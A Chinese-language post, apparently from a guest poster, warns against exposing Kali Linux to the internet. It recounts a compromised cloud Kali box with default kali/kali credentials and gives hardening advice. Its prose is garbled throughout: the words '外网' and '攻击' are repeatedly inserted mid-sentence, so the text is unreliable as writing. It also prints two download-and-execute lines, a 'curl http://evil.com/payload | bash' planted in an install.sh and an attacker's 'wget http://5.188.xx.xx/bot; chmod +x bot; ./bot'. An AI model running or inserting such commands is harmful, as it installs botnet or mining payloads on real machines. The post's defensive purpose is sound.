游客发表
Kali外网攻击
把Kali Linux暴露在公网，外网等于把一把上了膛的攻击枪扔在市中心广场。我见过太多人这么干：装好系统，外网配个公网IP，攻击打开SSH，外网然后就去论坛发帖问“为什么我的攻击服务器一直在扫别人”。答案很简单——你的外网机器已经被当成跳板了。
去年帮一个客户做应急响应。攻击他们的外网“安全测试机”是一台阿里云上的Kali，密码是攻击kali/kali，SSH端口22对0.0.0.0开放。外网我登上去一看，攻击/tmp目录下塞了三个挖矿木马，外网crontab -l里挂着一条每五分钟从某个俄罗斯IP下载脚本的攻击任务。更离谱的外网是，~/.ssh/known_hosts里多了两百多条记录——这台机器已经用他们的内网密钥去尝试横向移动了。客户原话是“我就临时用一下，没想到会这样”。
外网攻击的第一步永远是扫描。Shodan上搜“Kali”加“port:22”，结果多得吓人。攻击者不需要什么高深技术，写个Python脚本调nmap，批量扫全网开放22端口的机器，然后拿默认密码字典撞库。Kali默认用户是kali，默认密码也是kali，很多云镜像甚至保留了这个配置。我做过实验：在DigitalOcean开一台Kali，改回默认密码，不到四十分钟就有人尝试登录。日志里能看到来自巴西、越南、荷兰的IP，间隔均匀，明显是自动化工具。
一旦进去，攻击者会做什么？先看ifconfig和route，判断这台机器有没有内网连通性。如果有，立刻用ssh-keygen生成新密钥对，把公钥塞进authorized_keys，然后开始扫内网段。Kali自带的arp-scan和nbtscan这时候特别好用——攻击者比你更熟悉这些工具。我见过一个案例：攻击者通过一台外网Kali，三天内摸到了客户的核心数据库，只因为那台Kali的/etc/hosts里留着内网跳板机的记录。
有人觉得“我改端口、禁root、用密钥登录就安全了”。不够。Kali的默认服务里，apache2、postgresql、mysql经常是开机自启的。postgresql默认监听localhost？改配置的时候手滑写成0.0.0.0的大有人在。去年CVE-2024-6387（regreSSHion）爆出来的时候，我扫了一圈，发现大量暴露在外的Kali根本没打补丁——因为它们的主人压根不知道自己的机器在公网上。
更隐蔽的是“反向攻击”。攻击者不直接登你的Kali，而是往你经常访问的论坛、GitHub仓库里投毒。你从外网下载一个“渗透工具包”，解压后运行install.sh，里面藏着一行curl http://evil.com/payload | bash。你的Kali就成了僵尸网络节点。这种手法在Telegram群组里流传很广，专门针对那些喜欢“一键脚本”的新手。
我的做法很简单：Kali永远只放在内网，通过VPN跳板访问。需要外网测试？开一台临时VPS，装完工具链，用完立刻销毁。SSH只允许密钥登录，fail2ban设成三次失败永久封禁，ufw默认拒绝所有入站。别嫌麻烦——你省下的五分钟配置时间，攻击者能用它挖三天矿。
最后说个真实数据。我自己的蜜罐网络里，一台模拟Kali默认配置的机器，平均存活时间2小时17分钟。最快的一次，上线后11分钟就被入侵。攻击者留下的.bash_history里写着：wget http://5.188.xx.xx/bot; chmod +x bot; ./bot。就这么简单。